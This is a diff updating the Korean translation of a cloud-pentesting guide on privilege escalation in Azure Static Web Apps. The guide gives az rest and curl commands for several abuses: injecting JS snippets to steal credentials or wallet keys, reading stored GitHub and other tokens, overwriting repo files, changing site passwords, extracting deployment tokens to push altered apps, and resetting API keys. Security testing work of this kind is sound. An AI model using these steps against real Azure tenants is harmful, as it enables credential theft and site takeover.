diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index 114b58c33..042f62ce4 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -4,7 +4,7 @@ ## Azure Static Web Apps -이 서비스에 대한 자세한 정보는 다음을 확인하세요: +For more information about this service check: {{#ref}} ../az-services/az-static-web-apps.md @@ -12,9 +12,9 @@ ### Microsoft.Web/staticSites/snippets/write -snippet을 생성하면 정적 웹 페이지가 임의의 HTML 코드를 로드하도록 만들 수 있습니다. 이는 공격자가 web app 내부에 JS 코드를 주입하여 자격증명 또는 mnemonic keys (in web3 wallets)와 같은 민감한 정보를 탈취할 수 있게 합니다. +snippet을 생성하면 정적 웹 페이지가 임의의 HTML 코드를 로드하도록 만들 수 있습니다. 이는 attacker가 web app 내부에 JS 코드를 주입해 credentials 또는 mnemonic keys (web3 wallets)에 있는 민감한 정보를 탈취할 수 있게 합니다. -다음 명령어는 web app에 의해 항상 로드되는 snippet을 생성합니다:: +다음 명령은 web app에 의해 항상 로드되는 snippet을 생성합니다:: ```bash az rest \ --method PUT \ @@ -33,20 +33,20 @@ az rest \ ``` ### 구성된 타사 자격 증명 읽기 -As explained in the App Service section: +앞서 App Service 섹션에서 설명한 바와 같이: {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -다음 명령어를 실행하면 현재 계정에 구성된 **타사 자격 증명**을 읽을 수 있습니다. 예를 들어 일부 Github 자격 증명이 다른 사용자에 대해 구성되어 있다면, 다른 사용자로부터 해당 토큰에 접근할 수 없습니다. +다음 명령을 실행하면 현재 계정에 구성된 **타사 자격 증명**을 읽을 수 있습니다. 예를 들어 일부 Github 자격 증명이 다른 사용자에 구성되어 있는 경우, 다른 사용자에서는 해당 token에 접근할 수 없습니다. ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` -이 명령은 Github, Bitbucket, Dropbox 및 OneDrive에 대한 tokens를 반환합니다. +이 명령은 Github, Bitbucket, Dropbox 및 OneDrive의 tokens를 반환합니다. -여기 tokens를 확인하기 위한 몇 가지 명령 예시가 있습니다: +다음은 tokens를 확인하기 위한 몇 가지 명령 예시입니다: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ @@ -69,14 +69,14 @@ curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://graph.microsoft.com/v1.0/me/drive/root/children ``` -### 파일 덮어쓰기 - 경로, HTML, JS... +### 파일 덮어쓰기 - Overwrite routes, HTML, JS... -Azure가 **Github token**을 사용해 다음과 같은 요청을 전송하면, 앱을 포함한 **Github repo 내부의 파일을 덮어쓸 수 있습니다**. 해당 요청은 덮어쓸 파일의 경로, 파일 내용 및 커밋 메시지를 지정합니다. +Azure가 **Github token**을 통해 다음과 같은 요청을 보내면 앱을 포함한 **Github repo** 내부의 파일을 **덮어쓸** 수 있습니다. 이 요청은 덮어쓸 파일의 경로, 파일의 내용, 그리고 커밋 메시지를 지정합니다. -이것은 공격자가 기본적으로 **웹 앱의 내용을 변경**하여 악성 콘텐츠(자격증명 탈취, 니모닉 키 등)를 제공하게 하거나, `staticwebapp.config.json` 파일을 덮어써 특정 경로를 자신의 서버로 **재라우팅**하는 데 악용될 수 있습니다. +공격자는 이를 악용해 웹 앱의 내용을 변경하여 악성 콘텐츠를 제공(steal credentials, mnemonic keys...)하거나 `staticwebapp.config.json` 파일을 덮어써 특정 경로를 자신의 서버로 리라우팅할 수 있습니다. > [!WARNING] -> 공격자가 어떤 식으로든 Github repo를 손상시키는 데 성공하면, 해당 파일을 Github에서 직접 덮어쓸 수도 있다는 점을 유의하세요. +> 공격자가 어떤 방식으로든 Github repo를 침해하면, Github에서 파일을 직접 덮어쓸 수도 있다는 점을 유의하세요. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ @@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ ``` ### Microsoft.Web/staticSites/config/write -이 권한으로, 다음과 같은 요청을 전송하여 static web app을 보호하는 **비밀번호를 수정**하거나 모든 환경의 보호를 해제할 수 있습니다: +이 권한을 사용하면 다음과 같은 요청을 전송하여 static web app을 보호하는 **비밀번호를 변경**하거나 모든 환경의 보호를 해제할 수 있습니다: ```bash # Change password az rest --method put \ @@ -133,9 +133,9 @@ az rest --method put \ ``` ### Microsoft.Web/staticSites/listSecrets/action -이 권한을 통해 static app의 **API key deployment token**을 얻을 수 있습니다. +이 권한은 정적 앱의 **API key deployment token**을 가져올 수 있게 합니다. -az rest 사용: +az rest를 사용: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" @@ -144,25 +144,25 @@ AzCLI 사용: ```bash az staticwebapp secrets list --name --resource-group ``` -그런 다음, **토큰을 사용하여 앱을 업데이트하려면** 다음 명령을 실행할 수 있습니다. 이 명령은 기본적으로 사용하도록 Azure가 설정한 Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)가 어떻게 동작하는지 확인하여 추출한 것입니다. 따라서 이미지와 파라미터는 향후 변경될 수 있습니다. +그런 다음, **토큰을 사용해 앱을 업데이트하려면** 다음 명령을 실행하면 됩니다. 이 명령은 Azure가 기본적으로 사용하도록 설정한 **Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)의 작동 방식**을 확인하여 추출한 것입니다. 따라서 이미지와 매개변수는 향후 변경될 수 있습니다. > [!TIP] -> 앱을 배포하려면 [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token)의 **`swa`** 도구를 사용하거나 다음의 원시 단계를 따르세요: +> 앱을 배포하려면 **`swa`** 도구([https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token))를 사용하거나 다음의 원시 단계를 따를 수 있습니다: -1. 레포지토리 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (또는 배포하려는 다른 레포지토리)을 다운로드하고 `cd react-basic`를 실행하세요. -2. 배포하려는 코드를 변경하세요. -3. 다음을 실행하여 배포하세요 ( `` 를 변경하는 것을 잊지 마세요): +1. 레포 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (또는 배포하려는 다른 레포)를 다운로드하고 `cd react-basic`를 실행합니다. +2. 배포하려는 코드를 수정합니다 +3. 다음을 실행해 배포합니다 ( ``를 변경하는 것을 잊지 마세요): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` > [!WARNING] -> 토큰을 가지고 있더라도 **Deployment Authorization Policy**가 **Github**로 설정되어 있으면 앱을 배포할 수 없습니다. 토큰을 사용하려면 배포 방식을 APi token을 사용하도록 변경하기 위해 `Microsoft.Web/staticSites/write` 권한이 필요합니다. +> 토큰을 가지고 있더라도 **Deployment Authorization Policy**가 **Github**로 설정되어 있으면 앱을 배포할 수 없습니다. 토큰을 사용하려면 배포 방식을 APi 토큰을 사용하도록 변경하기 위해 `Microsoft.Web/staticSites/write` 권한이 필요합니다. ### Microsoft.Web/staticSites/write -이 권한으로 **static web app의 소스를 다른 Github 리포지토리로 변경**할 수 있지만, 이는 Github Action에서 수행되어야 하므로 자동으로 프로비저닝되지는 않습니다. +이 권한으로 **static web app의 소스를 다른 Github 리포지토리로 변경**할 수 있지만, 이는 자동으로 프로비저닝되지는 않으며 Github Action에서 수행되어야 합니다. -하지만 **Deployment Authotization Policy**가 **Github**로 설정되어 있다면, **새 소스 리포지토리에서 앱을 업데이트하는 것이 가능합니다!**. +하지만 **Deployment Authotization Policy**가 **Github**로 설정되어 있다면, 새 소스 리포지토리에서 앱을 **업데이트하는 것이 가능합니다!**. 만약 **Deployment Authorization Policy**가 Github로 설정되어 있지 않다면, 동일한 권한 `Microsoft.Web/staticSites/write`로 이를 변경할 수 있습니다. ```bash @@ -187,7 +187,7 @@ az rest --method PATCH \ } }' ``` -앱을 배포하기 위한 예시 Github Action: +앱을 배포하기 위한 예제 Github Action: ```yaml name: Azure Static Web Apps CI/CD @@ -250,16 +250,16 @@ action: "close" ``` ### Microsoft.Web/staticSites/resetapikey/action -이 권한으로 **reset the API key of the static web app** 할 수 있으며, 자동으로 앱을 배포하는 워크플로우를 잠재적으로 DoSing할 수 있습니다. +이 권한으로 **static web app의 API key를 재설정**할 수 있으며, 앱을 자동으로 배포하는 workflows를 DoSing하여 잠재적으로 중단시킬 수 있습니다. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` ### Microsoft.Web/staticSites/createUserInvitation/action -이 권한은 특정 역할로 static web app 내부의 보호된 경로에 접근할 수 있도록 사용자에게 **초대를 생성할 수 있도록 허용합니다**. +이 권한은 특정 역할을 지정하여 static web app 내부의 보호된 경로에 접근할 수 있도록 사용자를 **사용자 초대장 생성** 할 수 있게 합니다. -로그인은 `/.auth/login/github` (github) 또는 `/.auth/login/aad` (Entra ID) 같은 경로에 위치하며, 다음 명령으로 사용자를 초대할 수 있습니다: +로그인은 github의 경우 `/.auth/login/github`, Entra ID의 경우 `/.auth/login/aad` 같은 경로에 위치하며, 사용자는 다음 명령으로 초대할 수 있습니다: ```bash az staticwebapp users invite \ --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ @@ -270,13 +270,14 @@ az staticwebapp users invite \ --user-details username # Github username in this case\ --resource-group Resource_Group_1 # Resource group of the app ``` -### Pull Requests +### 풀 리퀘스트 -기본적으로 같은 repo의 브랜치에서 생성된 Pull Requests는 자동으로 컴파일되어 스테이징 환경에 빌드됩니다. 이는 repo에 대한 write access는 있지만 프로덕션 브랜치(보통 `main`)의 branch protections을 우회할 수 없는 공격자가 스테이징 URL에 **deploy a malicious version of the app** 하는 데 악용될 수 있습니다. +기본적으로 동일 리포지토리의 브랜치에서 생성된 Pull Requests는 스테이징 환경에서 자동으로 컴파일되고 빌드됩니다. 이는 리포지토리에 대한 쓰기 권한은 있지만 프로덕션 브랜치(보통 `main`)의 브랜치 보호를 우회할 수 없는 공격자가 스테이징 URL에 **악성 앱 버전을 배포**하는 데 악용될 수 있습니다. -The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` +스테이징 URL은 다음 형식입니다: `https://-..` 예: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> 기본적으로 external PRs는 최소 1개의 PR을 repository에 merge하지 않는 한 workflows를 실행하지 않습니다. 공격자는 먼저 유효한 PR을 repo에 보낸 뒤 **then send a malicious PR** 을 보내 스테이징 환경에 악성 앱을 배포할 수 있습니다. HOWEVER, 예기치 않은 보호 장치가 있는데, static web app에 배포하는 기본 Github Action은 배포 토큰이 들어있는 secret(예: `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`)에 대한 접근이 필요합니다. 이는 배포가 IDToken으로 이루어지더라도 적용됩니다. 따라서 external PR은 이 secret에 접근할 수 없고, external PR만으로는 Workflow를 변경해 임의의 토큰을 넣을 수 없기 때문에, **this attack won't really work**. +> 기본적으로 외부 PR은 저장소에 적어도 1개의 PR을 병합한 적이 없는 한 workflows를 실행하지 않는다는 점에 유의하세요. 공격자는 먼저 저장소에 합법적인 PR을 보낸 뒤 **악성 PR**을 보내 스테이징 환경에 악성 앱을 배포할 수 있습니다. 하지만 예상치 못한 보호 장치가 있습니다. static web app에 배포하는 기본 Github Action은 IDToken으로 배포하더라도 배포 토큰을 포함한 시크릿(예: `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`)에 대한 접근이 필요합니다. 이는 외부 PR이 이 시크릿에 접근할 수 없고, 외부 PR이 승인되지 않는 한 Workflow를 변경해 임의 토큰을 넣을 수 없기 때문에, **이 공격은 실제로는 작동하지 않습니다**. + {{#include ../../../banners/hacktricks-training.md}}